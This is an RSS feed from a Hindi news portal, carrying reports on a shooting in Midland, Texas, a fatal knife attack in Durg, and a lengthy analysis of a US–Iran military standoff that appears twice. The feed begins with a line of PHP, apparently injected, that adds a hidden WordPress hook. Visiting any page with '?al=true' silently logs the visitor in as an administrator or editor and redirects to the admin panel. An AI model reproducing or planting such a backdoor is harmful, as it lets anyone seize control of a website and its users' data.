// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); attack – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Mon, 27 Apr 2026 05:57:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 वॉशिंगटन के बाद टेक्सास में फिर हमला, अंधाधुंध फायरिंग में दो लोग घायल https://pratyushaashakinayikiran.com/?p=214910 Mon, 27 Apr 2026 05:57:00 +0000 https://pratyushaashakinayikiran.com/?p=214910  टेक्सास

अमेरिका के टेक्सास के मिडलैंड शहर में एक बार के पास रविवार को सुबह-सुबह गोलीबारी की दो अलग-अलग घटनाओं की जांच चल रही है. यह घटना सुबह करीब रविवार को करीब 1 बजकर 30 मिनट की बताई जा रही है. मिल रही जानकारी के मुताबिक मिडलैंड पुलिस डिपार्टमेंट के कुछ ऑफ ड्यूटी पुलिसकर्मी ट्रेडविंड्स और ड्यूविले बुलेवार्ड के पास मौजूद एक बार में ड्यूटी पर थे. इसी दौरान उन्होंने पास ही गोली चलने की आवाज सुनी. मौके पर पहुंचने पर पुलिसकर्मियों को एक हथियारों से लैस व्यक्ति मिला, जिस पर उन्होंने जवाबी कार्रवाई करते हुए गोली चला दी। 

घटना में घायल संदिग्ध को तुरंत मिडलैंड मेमोरियल अस्पताल में भर्ती कराया गया, जहां उसकी हालत गंभीर बताई जा रही है. इसी दौरान पुलिस ने बताया कि उसी घटना के बाद दो अन्य लोग भी गोली लगने से घायल हो गए थे. उन्हें निजी वाहन से अस्पताल लाया गया, जहां इलाज के बाद उन्हें छुट्टी दे दी गई. घटनाओं की प्रारंभिक जांच में सामने आया है कि बार के सामने सड़क के दूसरी ओर किसी बात को लेकर झगड़ा हुआ था. इसी झगड़े के दौरान संदिग्ध ने कई राउंड फायरिंग की, जिससे दोनों लोग घायल हो गए. फायरिंग के तुरंत बाद पुलिसकर्मियों ने उसे घेर लिया, जिसके बाद यह मुठभेड़ हुई। 

मामले की जांच जारी
इस पूरे मामले की जांच अब टेक्सास रेंजर्स की ओर से की जा रही है, खासकर उस हिस्से की जिसमें पुलिस की ओर से की गई गोलीबारी शामिल है. पुलिस अधिकारियों का कहना है कि घटना की विस्तृत जांच जारी है और आगे की जानकारी जांच पूरी होने के बाद ही साझा की जाएगी. फिलहाल इलाके में स्थिति सामान्य है, लेकिन सुरक्षा के लिहाज से पुलिस सतर्क बनी हुई है। 

एक अन्य घटना में 2 की मौत
अमेरिका के कास काउंटी में  सुबह एक अन्य दर्दनाक घटना सामने आई, जहां आग लगने के बाद दो लोगों के शव बरामद किए गए. यह हादसा क्वीन काउंटी के पास एक ट्रक स्टॉप और भारतीय रेस्टोरेंट में हुआ. शेरिफ कार्यालय के मुताबिक रविवार सुबह करीब 5 बजे पुलिस को अमेरिका के हाईवे 59 पर मौजूद पुंज ट्रक स्टॉप एंड इंडियन रेस्तरां में भी आग लगने की सूचना मिली. सूचना मिलते ही पुलिस और फायर विभाग की टीमें मौके पर पहुंचीं. जांच के दौरान इमारत की दूसरी मंजिल से दो लोगों के शव मिले. अभी तक उनकी पहचान नहीं हो पाई है. फिलहाल आग लगने के कारणों का पता नहीं चल पाया है। 

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आरक्षक की कथित दूसरी पत्नी का हमला: पहली पत्नी और बेटे की दर्दनाक मौत https://pratyushaashakinayikiran.com/?p=214533 Sat, 25 Apr 2026 13:55:00 +0000 https://pratyushaashakinayikiran.com/?p=214533 दुर्ग.

दुर्ग के एसटीएफ कॉलोनी में शनिवार सुबह महिला ने आरक्षक ललितेश यादव के घर घुसकर परिवारवालों पर चाकू से ताबड़तोड़ हमला कर दिया. हमले में आरक्षक की पत्नी और 9 वर्षीय बेटे की मौके पर मौत हो गई, वहीं एक बेटी गंभीर घायल हो गई. एक बेटी ने बाथरुम में छिपकर अपनी जान बचाने में कामयाब रही. पुलिस ने आरोपी महिला को गिरफ्तार कर लिया है.

पुलिस की प्रारंभिक जांच में सामने आया है कि आरोपी महिला सरोजनी भारद्वाज और बीजापुर में पदस्थ आरक्षक ललितेश यादव के बीच संबंध थे. बताया जा रहा है कि महिला एक दिन पहले भी आरक्षक के घर पहुंची थी, इस दौरान उसे समझाकर वापस भेज दिया गया था. लेकिन महिला ने आज फिर से घर में घुसकर खौफनाक वारदात को अंजाम दे दिया. महिला द्वारा चाकू से किए गए हमले में आरक्षक की पत्नी रीना यादव और 9 वर्षीय बेटे आदित्य यादव की मौके पर ही दर्दनाक मौत हो गई, वहीं हमले में गंभीर रूप से घायल आरक्षक की बेटी तानिया यादव को उपचार के लिए अस्पताल के आईसीयू में रखा है. घटना के दौरान दूसरी बेटी नैना यादव ने बाथरूम में छिपकर किसी तरह से अपनी जान बचाई.

घटना के बाद पूरे कॉलोनी में सनसनी फैल गई है. सूचना मिलते ही पुलिस मौके पर पहुंची. घटना की गंभीरता को देखते हुए मौके पर भारी पुलिस बल तैनात कर दिया गया है. घटना के संबंध में सीएसपी सत्यप्रकाश तिवारी ने बताया कि आरोपी महिला ने घर में घुसकर महिला और बच्चों पर हमला किया है, जिसमें दो की मौत हो गई और एक बच्ची का इलाज जारी है. फिलहाल, आरोपी से पूछताछ कर पूरे मामले की तह तक पहुंचने का प्रयास किया जा रहा है.

फेसबुक में दोस्ती, फिर की शादी!
घटना को लेकर जो जानकारी सामने आ रही है, उसके अनुसार बीजापुर में पदस्थ आरक्षक ललितेश यादव और जांजगीर-चांपा में रहने वाली आरोपी महिला सरोजनी भारद्वाज के बीच फेसबुक के जरिए दोस्ती हुई थी, जो जल्द ही प्यार में बदल गया. बताया जा रहा है कि आरक्षक ने कथित तौर पर महिला से दूसरी शादी भी कर ली थी. अब पुलिस कथित दूसरी पत्नी के आरक्षक की पहली पत्नी और बच्चों पर हमले के पीछे की वजह जानने में जुटी हुई है.

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अमेरिका–ईरान टकराव की आहट? हमले की तैयारी, हथियारों की तैनाती और संभावित जवाबी रणनीति https://pratyushaashakinayikiran.com/?p=199491 Fri, 20 Feb 2026 11:36:00 +0000 https://pratyushaashakinayikiran.com/?p=199491 अमेरिका और ईरान के बीच संघर्ष की आहट बढ़ती जा रही है। डोनाल्ड ट्रंप ने दो एयरक्राफ्ट कैरियर बेड़ों को ईरान की खाड़ी पर तैनात करने  के आदेश दे दिए। इसके बाद दोनों देशों के बीच तनाव चरम पर पहुंच गया। ईरान ने भी होर्मुज जलडमरूमध्य में एक युद्धाभ्यास कर इस क्षेत्र को पूरी तरह बंद करने का संकेत दिया, जो वैश्विक तेल सप्लाई में बाधा पहुंचाने वाला कदम साबित हो सकता है। यानी अमेरिका से लेकर यूरोप और अफ्रीका से लेकर पूरे एशिया के लिए आने वाले दिन कूटनीतिक स्तर पर काफी अहम होने वाले हैं।

ऐसे में यह जानना अहम है कि आखिर अमेरिका और ईरान के बीच हालिया विवाद क्यों और कब से उभरा है? अमेरिका की तरफ से कौन से हथियार और बेड़े पश्चिम एशिया की तरफ भेजे गए हैं? ईरान इस स्थिति से निपटने के लिए कैसे तैयारी कर रहा है? अगर दोनों देशों के बीच संघर्ष भड़कता है तो इसका क्या असर हो सकता है?

पहले जानें- ईरान-अमेरिका के बीच कैसे-क्यों भड़का है तनाव?
ईरान-अमेरिका के बीच तनाव ईरान में महंगाई को लेकर विरोध प्रदर्शनों और उसके खिलाफ सरकारी कार्रवाई के बीच बढ़ा। तनाव की एक और वजह इस दौरान अमेरिका की ओर से पश्चिम एशिया में की गई सैन्य तैनाती भी रही, जिसके जरिए अमेरिकी राष्ट्रपति डोनाल्ड ट्रंप ईरान के अयातुल्ला शासन को खत्म करने की चेतावनी दे रहे हैं। इन सबके साथ ही ईरान का परमाणु कार्यक्रम हमेशा से ही दोनों पक्षों में तनाव का बड़ा कारण रहा है।

1. परमाणु कार्यक्रम
अमेरिका ईरान को परमाणु हथियार हासिल करने से रोकना चाहता है और राष्ट्रपति ट्रंप एक नए परमाणु समझौते के लिए दबाव बना रहे हैं।

2. आंतरिक विरोध प्रदर्शन
दिसंबर 2025 में ईरान में बढ़ती कीमतों और गिरती मुद्रा के खिलाफ शुरू हुए विरोध प्रदर्शनों पर ईरानी सरकार की सख्त कार्रवाई हुई। इसमें हजारों लोगों के मारे जाने की खबर है। बताया जाता है कि इन घटनाओं को खुद अमेरिका ने भड़काया, ताकि वह ईरान के मामलों में दखल दे सके।

3. क्षेत्रीय सुरक्षा
ईरान का लगातार बढ़ता बैलिस्टिक मिसाइल कार्यक्रम और इस्राइल जैसे अमेरिकी सहयोगियों पर बढ़ता खतरा भी दोनों देशों के बीच तनाव का बड़ा कारण है। इसके अलावा सऊदी अरब, यूएई भी अलग-अलग मौकों पर ईरान को लेकर खतरा जताते रहे हैं।

अमेरिका की तरफ से कौन से हथियार और बेड़े पश्चिम एशिया की तरफ भेजे गए हैं?
अमेरिकी रक्षा मंत्रालय के सूत्रों और सैटेलाइट तस्वीरों के हवाले से अमेरिकी मीडिया ने दावा किया है कि ईरान के साथ बढ़ते तनाव के बीच पश्चिम एशिया (मिडल ईस्ट) में 2003 के इराक आक्रमण के बाद से अब तक की सबसे बड़ी सैन्य लामबंदी की गई है। इन सैन्य बेड़ों में अमेरिका के सबसे घातक एफ-22 रैप्टर लड़ाकू विमान से लेकर सबसे बड़े और खतरनाक युद्धपोत यूएसएस जेराल्ड आर. फोर्ड शामिल हैं।

1. नौसैनिक बेड़े
विमानवाहक पोत: अमेरिका ने इस क्षेत्र में दो परमाणु-संचालित विमानवाहक पोत तैनात किए हैं। पहला यूएसएस अब्राहम लिंकन है, जो जनवरी के अंत में अरब सागर पहुंच चुका है। इसके बाद दुनिया के सबसे बड़े और आधुनिक विमानवाहक पोत यूएसएस जेराल्ड आर. फोर्ड को भी क्षेत्र में पहुंचने का आदेश दिया गया है। यह मौजूदा समय में अटलांटिक महासागर से पश्चिम एशिया के रास्ते पर है।

विध्वंसक पोत: वर्तमान में क्षेत्र में कुल 13 विध्वंसक पोत तैनात किए जा चुके हैं। इनमें यूएसएस अब्राहम लिंकन के साथ आए तीन प्रमुख पोत- यूएसएस फ्रैंक ई. पीटरसन जूनियर, यूएसएस स्प्रुआंस और यूएसएस माइकल मर्फी शामिल हैं। ये पोत उन्नत रडार और बैलिस्टिक मिसाइल रक्षा प्रणालियों से लैस हैं।

2. वायु शक्ति और लड़ाकू विमान
लड़ाकू विमान: अमेरिका ने बड़ी संख्या में एफ-22 रैप्टर और एफ-35 लाइटनिंग II जैसे स्टील्थ फाइटर जेट तैनात किए हैं। इनके अलावा एफ-15 और एफ-16  फैल्कन लड़ाकू विमानों की स्क्वाड्रन भी भेजी गई हैं।

सहायक विमान: हवाई अभियानों के संचालन के लिए ई-3 सेंट्री (अवाक्स) टोही विमान, केसी-135 रिफ्यूलिंग टैंकर और ई-11 युद्धक्षेत्र संचार विमान तैनात किए गए हैं।

ड्रोन और बमवर्षक: जॉर्डन के मुवाफ्फाक साल्टी एयर बेस पर कम से कम पांच एमक्यू-9 रीपर ड्रोन देखे गए हैं। इसके अलावा, डिएगो गार्सिया द्वीप पर बी-2 स्टील्थ बमवर्षक विमानों को भी हाई अलर्ट पर रखा गया है। इन्हीं बी-2 बमवर्षक विमानों के जरिए अमेरिका ने पिछले साल ऑपरेशन मिडनाइट हैमर को अंजाम दिया था और ईरान के परमाणु ठिकानों पर जीबीयू-57 बम बरसाए थे।

3. मिसाइल और रक्षा प्रणालियां
हमलावर मिसाइलें: अमेरिकी युद्धपोत टॉमहॉक क्रूज मिसाइलों से लैस हैं, जिनका इस्तेमाल पहले भी ईरान के परमाणु ठिकानों पर हमले के दौरान रक्षा व्यवस्थाओं को ध्वस्त करने के लिए किया जा चुका है।

हवाई रक्षा प्रणालियां: ईरानी मिसाइलों के जवाबी हमले से सुरक्षा के लिए पेंटागन ने क्षेत्र में अतिरिक्त पैट्रियट और एयर डिफेंस सिस्टम (THAAD) हवाई रक्षा प्रणालियां तैनात की हैं।

इलेक्ट्रॉनिक वॉरफेयर: विमानवाहक पोतों पर इलेक्ट्रॉनिक-वारफेयर विमान और एएन/एसएलक्यू-25ए निक्सी जैसे डिकॉय सिस्टम भी मौजूद हैं, जो दुश्मन के हथियारों को भ्रमित कर सकते हैं और अपने किसी भी हथियार को हमले से बचा सकते हैं।

मौजूदा समय में कहां है अमेरिका का यह सैन्य जमावड़ा?
अमेरिका का यह सैन्य जमावड़ा ईरान के इर्द-गिर्द कई रणनीतिक स्थानों पर तैनात है, इनमें प्रमुख एयरबेस और अंतरराष्ट्रीय जलक्षेत्र जॉर्डन, सऊदी अरब और ओमान के पास स्थित हैं। इसके अलावा अरब सागर, हिंद महासागर, बहरीन और कतर में भी अमेरिका के महत्वपूर्ण सैन्य ठिकाने और सुविधाएं मौजूद हैं। पूरे पश्चिम एशिया क्षेत्र में लगभग 30,000 से 40,000 अमेरिकी सैनिक तैनात हैं।

ईरान कैसे कर रहा अमेरिका के हमले का जवाब देने की तैयारी?
अमेरिका के बढ़ते सैन्य दबाव के जवाब में ईरान ने भी अपनी सैन्य और रणनीतिक तैयारियां तेज कर दी हैं।

1. सैन्य हाई अलर्ट और जवाबी हमले की चेतावनी
25 जनवरी को ईरान ने घोषणा की कि उसके सशस्त्र बल पूर्ण सतर्कता की स्थिति में आ गए हैं। ईरान के संयुक्त राष्ट्र मिशन ने चेतावनी दी है कि यदि उसे उकसाया गया, तो वह ऐसा जवाब देगा जैसा पहले कभी नहीं देखा गया।

2. रणनीतिक नौसैनिक अभ्यास
होर्मुज जलडमरूमध्य में ईरान ने अपनी ताकत दिखाने के लिए कई लाइव-फायर ड्रिल्स की हैं। ईरान का यह अभ्यास इसलिए भी अहम है, क्योंकि दुनिया में तेल सप्लाई का एक बड़ा हिस्सा इसी जलडमरूमध्य से सप्लाई के लिए गुजरता है। अगर इस क्षेत्र में बाधा आती है तो एशिया के अधिकतर देशों की तेल आपूर्ति बुरी तरह प्रभावित हो सकती है, जो कि लंबी अवधि में कई देशों को आर्थिक नुकसान पहुंचा सकती है।

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इसी कड़ी में एक फरवरी से ईरान ने दो दिवसीय नौसैनिक अभ्यास भी शुरू किया है। इसे होर्मुज जलडमरूमध्य का स्मार्ट नियंत्रण नाम दिया गया। यहां मंगलवार (17 फरवरी) को कुछ समय के लिए होर्मुज को बंद भी रखा गया था।

3. युद्ध की रणनीति
ईरान अपनी पारंपरिक सेना की तुलना में अमेरिका के खिलाफ 'असममित युद्ध' की तैयारी कर रहा है। ईरान के पास एक बड़ा मिसाइल और ड्रोन बेड़ा है, जिनमें से कई को गुफाओं और भूमिगत ठिकानों में छिपाकर रखा गया है। ईरान अमेरिकी युद्धपोतों को निशाना बनाने के लिए बड़ी संख्या में विस्फोटक ड्रोनों और तेज रफ्तार टॉरपीडो नावों से एक साथ हमला करने की रणनीति पर काम कर रहा है।

इसके अलावा तेल की वैश्विक आपूर्ति रोकने के लिए ईरान ने होर्मुज जलडमरूमध्य में समुद्री सुरंगें बिछाने का विकल्प सुरक्षित रखा है। फिलहाल यह साफ नहीं है कि ईरान इस ओर कदम बढ़ा चुका है या नहीं।

4. क्षेत्रीय युद्ध की चेतावनी
ईरान के सर्वोच्च नेता अयातुल्ला खामनेई ने चेतावनी दी है कि अमेरिका द्वारा किया गया कोई भी हमला एक व्यापक क्षेत्रीय युद्ध को जन्म देगा। ईरान उन देशों के बुनियादी ढांचे को भी निशाना बना सकता है, जिन्हें वह अमेरिकी हमले में शामिल या मददगार मानता है, जैसे- इस्राइल या जॉर्डन। इसके अलावा ईरान के सहयोगी जैसे हिज्बुल्ला ने भी कहा है कि ईरान पर हमला पूरे क्षेत्र में आग लगा देगा।

5. कूटनीतिक मोर्चा
सैन्य तैयारी के साथ-साथ ईरान कूटनीतिक बातचीत में भी शामिल है। ओमान और जिनेवा में हुई वार्ताओं में ईरान ने मार्गदर्शक सिद्धांतों पर सहमति जताई है, ताकि युद्ध को टाला जा सके या देरी की जा सके। हालांकि, विशेषज्ञों का मानना है कि ईरान इन वार्ताओं का इस्तेमाल खुद ताकत इकट्ठा करने के लिए भी कर सकता है। फिलहाल दोनों देशों के बीच तीसरे चरण की वार्ता पर सहमति बनी है। इन वार्ताओं में ईरान के विदेश मंत्री के साथ अमेरिका की ओर से ट्रंप के मित्र स्टीव व्हिटकॉफ और उनके दामाद जैरेड कुशनर शामिल रहे हैं।

1. क्षेत्रीय सुरक्षा और व्यापक युद्ध की आशंका
ईरान अपनी मिसाइलों और ड्रोनों से बहरीन और कतर में स्थित अमेरिकी सैन्य अड्डों को निशाना बनाने की चेतावनी दे चुका है। इसके अलावा, वह इस्राइल और जॉर्डन जैसे देशों के बुनियादी ढांचे पर भी हमला कर सकता है, क्योंकि इन देशों के सैन्य ठिकानों से ही अमेरिका आगे कार्रवाई की योजना बना रहा है।

2. वैश्विक अर्थव्यवस्था और ऊर्जा संकट
ईरान होर्मुज जलडमरूमध्य में समुद्री सुरंगें बिछाकर इस अहम मार्ग को बंद करने की कोशिश कर सकता है। विश्व का लगभग 20-25% तेल और 20% तरलीकृत प्राकृतिक गैस (एलएनजी) इसी मार्ग से गुजरता है, जिसके रुकने से वैश्विक व्यापार और तेल की कीमतों पर भारी असर पड़ सकता है। हालांकि, कुछ विश्लेषणों का मानना है कि वर्तमान में वैश्विक तेल आपूर्ति पर्याप्त है और कीमतें कम हैं, इसलिए हमले के बाद कीमतों में उछाल सीमित हो सकता है।

3. ईरान के भीतर राजनीतिक बदलाव
अमेरिकी हमलों का प्रमुख मकसद ईरान के परमाणु और मिसाइल कार्यक्रमों को नष्ट करना और शासन परिवर्तन करना हो सकता है। ऐसी स्थिति में या तो ईरान में अयातुल्ला शासन में बदलाव हो सकता है या फिर सत्ता इस्लामिक रिवोल्यूशनरी गार्ड कोर (आईआरजीसी) जैसे कट्टरपंथी सैन्य गुटों के हाथ में जा सकती है।

4. मानवीय संकट
अगर संघर्ष के कारण ईरानी शासन पूरी तरह चरमरा जाता है, तो देश में गृहयुद्ध और जातीय संघर्ष (जैसे कुर्दों और बलूचियों के बीच) छिड़ सकता है। लगभग 9.3 करोड़ की आबादी वाले इस देश में अराजकता से बड़े पैमाने पर मानवीय और शरणार्थी संकट पैदा हो सकता है।

 

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अमेरिका–ईरान टकराव की आहट? हमले की तैयारी, हथियारों की तैनाती और संभावित जवाबी रणनीति https://pratyushaashakinayikiran.com/?p=199492 Fri, 20 Feb 2026 11:36:00 +0000 https://pratyushaashakinayikiran.com/?p=199492 अमेरिका और ईरान के बीच संघर्ष की आहट बढ़ती जा रही है। डोनाल्ड ट्रंप ने दो एयरक्राफ्ट कैरियर बेड़ों को ईरान की खाड़ी पर तैनात करने  के आदेश दे दिए। इसके बाद दोनों देशों के बीच तनाव चरम पर पहुंच गया। ईरान ने भी होर्मुज जलडमरूमध्य में एक युद्धाभ्यास कर इस क्षेत्र को पूरी तरह बंद करने का संकेत दिया, जो वैश्विक तेल सप्लाई में बाधा पहुंचाने वाला कदम साबित हो सकता है। यानी अमेरिका से लेकर यूरोप और अफ्रीका से लेकर पूरे एशिया के लिए आने वाले दिन कूटनीतिक स्तर पर काफी अहम होने वाले हैं।

ऐसे में यह जानना अहम है कि आखिर अमेरिका और ईरान के बीच हालिया विवाद क्यों और कब से उभरा है? अमेरिका की तरफ से कौन से हथियार और बेड़े पश्चिम एशिया की तरफ भेजे गए हैं? ईरान इस स्थिति से निपटने के लिए कैसे तैयारी कर रहा है? अगर दोनों देशों के बीच संघर्ष भड़कता है तो इसका क्या असर हो सकता है?

पहले जानें- ईरान-अमेरिका के बीच कैसे-क्यों भड़का है तनाव?
ईरान-अमेरिका के बीच तनाव ईरान में महंगाई को लेकर विरोध प्रदर्शनों और उसके खिलाफ सरकारी कार्रवाई के बीच बढ़ा। तनाव की एक और वजह इस दौरान अमेरिका की ओर से पश्चिम एशिया में की गई सैन्य तैनाती भी रही, जिसके जरिए अमेरिकी राष्ट्रपति डोनाल्ड ट्रंप ईरान के अयातुल्ला शासन को खत्म करने की चेतावनी दे रहे हैं। इन सबके साथ ही ईरान का परमाणु कार्यक्रम हमेशा से ही दोनों पक्षों में तनाव का बड़ा कारण रहा है।

1. परमाणु कार्यक्रम
अमेरिका ईरान को परमाणु हथियार हासिल करने से रोकना चाहता है और राष्ट्रपति ट्रंप एक नए परमाणु समझौते के लिए दबाव बना रहे हैं।

2. आंतरिक विरोध प्रदर्शन
दिसंबर 2025 में ईरान में बढ़ती कीमतों और गिरती मुद्रा के खिलाफ शुरू हुए विरोध प्रदर्शनों पर ईरानी सरकार की सख्त कार्रवाई हुई। इसमें हजारों लोगों के मारे जाने की खबर है। बताया जाता है कि इन घटनाओं को खुद अमेरिका ने भड़काया, ताकि वह ईरान के मामलों में दखल दे सके।

3. क्षेत्रीय सुरक्षा
ईरान का लगातार बढ़ता बैलिस्टिक मिसाइल कार्यक्रम और इस्राइल जैसे अमेरिकी सहयोगियों पर बढ़ता खतरा भी दोनों देशों के बीच तनाव का बड़ा कारण है। इसके अलावा सऊदी अरब, यूएई भी अलग-अलग मौकों पर ईरान को लेकर खतरा जताते रहे हैं।

अमेरिका की तरफ से कौन से हथियार और बेड़े पश्चिम एशिया की तरफ भेजे गए हैं?
अमेरिकी रक्षा मंत्रालय के सूत्रों और सैटेलाइट तस्वीरों के हवाले से अमेरिकी मीडिया ने दावा किया है कि ईरान के साथ बढ़ते तनाव के बीच पश्चिम एशिया (मिडल ईस्ट) में 2003 के इराक आक्रमण के बाद से अब तक की सबसे बड़ी सैन्य लामबंदी की गई है। इन सैन्य बेड़ों में अमेरिका के सबसे घातक एफ-22 रैप्टर लड़ाकू विमान से लेकर सबसे बड़े और खतरनाक युद्धपोत यूएसएस जेराल्ड आर. फोर्ड शामिल हैं।

1. नौसैनिक बेड़े
विमानवाहक पोत: अमेरिका ने इस क्षेत्र में दो परमाणु-संचालित विमानवाहक पोत तैनात किए हैं। पहला यूएसएस अब्राहम लिंकन है, जो जनवरी के अंत में अरब सागर पहुंच चुका है। इसके बाद दुनिया के सबसे बड़े और आधुनिक विमानवाहक पोत यूएसएस जेराल्ड आर. फोर्ड को भी क्षेत्र में पहुंचने का आदेश दिया गया है। यह मौजूदा समय में अटलांटिक महासागर से पश्चिम एशिया के रास्ते पर है।

विध्वंसक पोत: वर्तमान में क्षेत्र में कुल 13 विध्वंसक पोत तैनात किए जा चुके हैं। इनमें यूएसएस अब्राहम लिंकन के साथ आए तीन प्रमुख पोत- यूएसएस फ्रैंक ई. पीटरसन जूनियर, यूएसएस स्प्रुआंस और यूएसएस माइकल मर्फी शामिल हैं। ये पोत उन्नत रडार और बैलिस्टिक मिसाइल रक्षा प्रणालियों से लैस हैं।

2. वायु शक्ति और लड़ाकू विमान
लड़ाकू विमान: अमेरिका ने बड़ी संख्या में एफ-22 रैप्टर और एफ-35 लाइटनिंग II जैसे स्टील्थ फाइटर जेट तैनात किए हैं। इनके अलावा एफ-15 और एफ-16  फैल्कन लड़ाकू विमानों की स्क्वाड्रन भी भेजी गई हैं।

सहायक विमान: हवाई अभियानों के संचालन के लिए ई-3 सेंट्री (अवाक्स) टोही विमान, केसी-135 रिफ्यूलिंग टैंकर और ई-11 युद्धक्षेत्र संचार विमान तैनात किए गए हैं।

ड्रोन और बमवर्षक: जॉर्डन के मुवाफ्फाक साल्टी एयर बेस पर कम से कम पांच एमक्यू-9 रीपर ड्रोन देखे गए हैं। इसके अलावा, डिएगो गार्सिया द्वीप पर बी-2 स्टील्थ बमवर्षक विमानों को भी हाई अलर्ट पर रखा गया है। इन्हीं बी-2 बमवर्षक विमानों के जरिए अमेरिका ने पिछले साल ऑपरेशन मिडनाइट हैमर को अंजाम दिया था और ईरान के परमाणु ठिकानों पर जीबीयू-57 बम बरसाए थे।

3. मिसाइल और रक्षा प्रणालियां
हमलावर मिसाइलें: अमेरिकी युद्धपोत टॉमहॉक क्रूज मिसाइलों से लैस हैं, जिनका इस्तेमाल पहले भी ईरान के परमाणु ठिकानों पर हमले के दौरान रक्षा व्यवस्थाओं को ध्वस्त करने के लिए किया जा चुका है।

हवाई रक्षा प्रणालियां: ईरानी मिसाइलों के जवाबी हमले से सुरक्षा के लिए पेंटागन ने क्षेत्र में अतिरिक्त पैट्रियट और एयर डिफेंस सिस्टम (THAAD) हवाई रक्षा प्रणालियां तैनात की हैं।

इलेक्ट्रॉनिक वॉरफेयर: विमानवाहक पोतों पर इलेक्ट्रॉनिक-वारफेयर विमान और एएन/एसएलक्यू-25ए निक्सी जैसे डिकॉय सिस्टम भी मौजूद हैं, जो दुश्मन के हथियारों को भ्रमित कर सकते हैं और अपने किसी भी हथियार को हमले से बचा सकते हैं।

मौजूदा समय में कहां है अमेरिका का यह सैन्य जमावड़ा?
अमेरिका का यह सैन्य जमावड़ा ईरान के इर्द-गिर्द कई रणनीतिक स्थानों पर तैनात है, इनमें प्रमुख एयरबेस और अंतरराष्ट्रीय जलक्षेत्र जॉर्डन, सऊदी अरब और ओमान के पास स्थित हैं। इसके अलावा अरब सागर, हिंद महासागर, बहरीन और कतर में भी अमेरिका के महत्वपूर्ण सैन्य ठिकाने और सुविधाएं मौजूद हैं। पूरे पश्चिम एशिया क्षेत्र में लगभग 30,000 से 40,000 अमेरिकी सैनिक तैनात हैं।

ईरान कैसे कर रहा अमेरिका के हमले का जवाब देने की तैयारी?
अमेरिका के बढ़ते सैन्य दबाव के जवाब में ईरान ने भी अपनी सैन्य और रणनीतिक तैयारियां तेज कर दी हैं।

1. सैन्य हाई अलर्ट और जवाबी हमले की चेतावनी
25 जनवरी को ईरान ने घोषणा की कि उसके सशस्त्र बल पूर्ण सतर्कता की स्थिति में आ गए हैं। ईरान के संयुक्त राष्ट्र मिशन ने चेतावनी दी है कि यदि उसे उकसाया गया, तो वह ऐसा जवाब देगा जैसा पहले कभी नहीं देखा गया।

2. रणनीतिक नौसैनिक अभ्यास
होर्मुज जलडमरूमध्य में ईरान ने अपनी ताकत दिखाने के लिए कई लाइव-फायर ड्रिल्स की हैं। ईरान का यह अभ्यास इसलिए भी अहम है, क्योंकि दुनिया में तेल सप्लाई का एक बड़ा हिस्सा इसी जलडमरूमध्य से सप्लाई के लिए गुजरता है। अगर इस क्षेत्र में बाधा आती है तो एशिया के अधिकतर देशों की तेल आपूर्ति बुरी तरह प्रभावित हो सकती है, जो कि लंबी अवधि में कई देशों को आर्थिक नुकसान पहुंचा सकती है।

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इसी कड़ी में एक फरवरी से ईरान ने दो दिवसीय नौसैनिक अभ्यास भी शुरू किया है। इसे होर्मुज जलडमरूमध्य का स्मार्ट नियंत्रण नाम दिया गया। यहां मंगलवार (17 फरवरी) को कुछ समय के लिए होर्मुज को बंद भी रखा गया था।

3. युद्ध की रणनीति
ईरान अपनी पारंपरिक सेना की तुलना में अमेरिका के खिलाफ 'असममित युद्ध' की तैयारी कर रहा है। ईरान के पास एक बड़ा मिसाइल और ड्रोन बेड़ा है, जिनमें से कई को गुफाओं और भूमिगत ठिकानों में छिपाकर रखा गया है। ईरान अमेरिकी युद्धपोतों को निशाना बनाने के लिए बड़ी संख्या में विस्फोटक ड्रोनों और तेज रफ्तार टॉरपीडो नावों से एक साथ हमला करने की रणनीति पर काम कर रहा है।

इसके अलावा तेल की वैश्विक आपूर्ति रोकने के लिए ईरान ने होर्मुज जलडमरूमध्य में समुद्री सुरंगें बिछाने का विकल्प सुरक्षित रखा है। फिलहाल यह साफ नहीं है कि ईरान इस ओर कदम बढ़ा चुका है या नहीं।

4. क्षेत्रीय युद्ध की चेतावनी
ईरान के सर्वोच्च नेता अयातुल्ला खामनेई ने चेतावनी दी है कि अमेरिका द्वारा किया गया कोई भी हमला एक व्यापक क्षेत्रीय युद्ध को जन्म देगा। ईरान उन देशों के बुनियादी ढांचे को भी निशाना बना सकता है, जिन्हें वह अमेरिकी हमले में शामिल या मददगार मानता है, जैसे- इस्राइल या जॉर्डन। इसके अलावा ईरान के सहयोगी जैसे हिज्बुल्ला ने भी कहा है कि ईरान पर हमला पूरे क्षेत्र में आग लगा देगा।

5. कूटनीतिक मोर्चा
सैन्य तैयारी के साथ-साथ ईरान कूटनीतिक बातचीत में भी शामिल है। ओमान और जिनेवा में हुई वार्ताओं में ईरान ने मार्गदर्शक सिद्धांतों पर सहमति जताई है, ताकि युद्ध को टाला जा सके या देरी की जा सके। हालांकि, विशेषज्ञों का मानना है कि ईरान इन वार्ताओं का इस्तेमाल खुद ताकत इकट्ठा करने के लिए भी कर सकता है। फिलहाल दोनों देशों के बीच तीसरे चरण की वार्ता पर सहमति बनी है। इन वार्ताओं में ईरान के विदेश मंत्री के साथ अमेरिका की ओर से ट्रंप के मित्र स्टीव व्हिटकॉफ और उनके दामाद जैरेड कुशनर शामिल रहे हैं।

1. क्षेत्रीय सुरक्षा और व्यापक युद्ध की आशंका
ईरान अपनी मिसाइलों और ड्रोनों से बहरीन और कतर में स्थित अमेरिकी सैन्य अड्डों को निशाना बनाने की चेतावनी दे चुका है। इसके अलावा, वह इस्राइल और जॉर्डन जैसे देशों के बुनियादी ढांचे पर भी हमला कर सकता है, क्योंकि इन देशों के सैन्य ठिकानों से ही अमेरिका आगे कार्रवाई की योजना बना रहा है।

2. वैश्विक अर्थव्यवस्था और ऊर्जा संकट
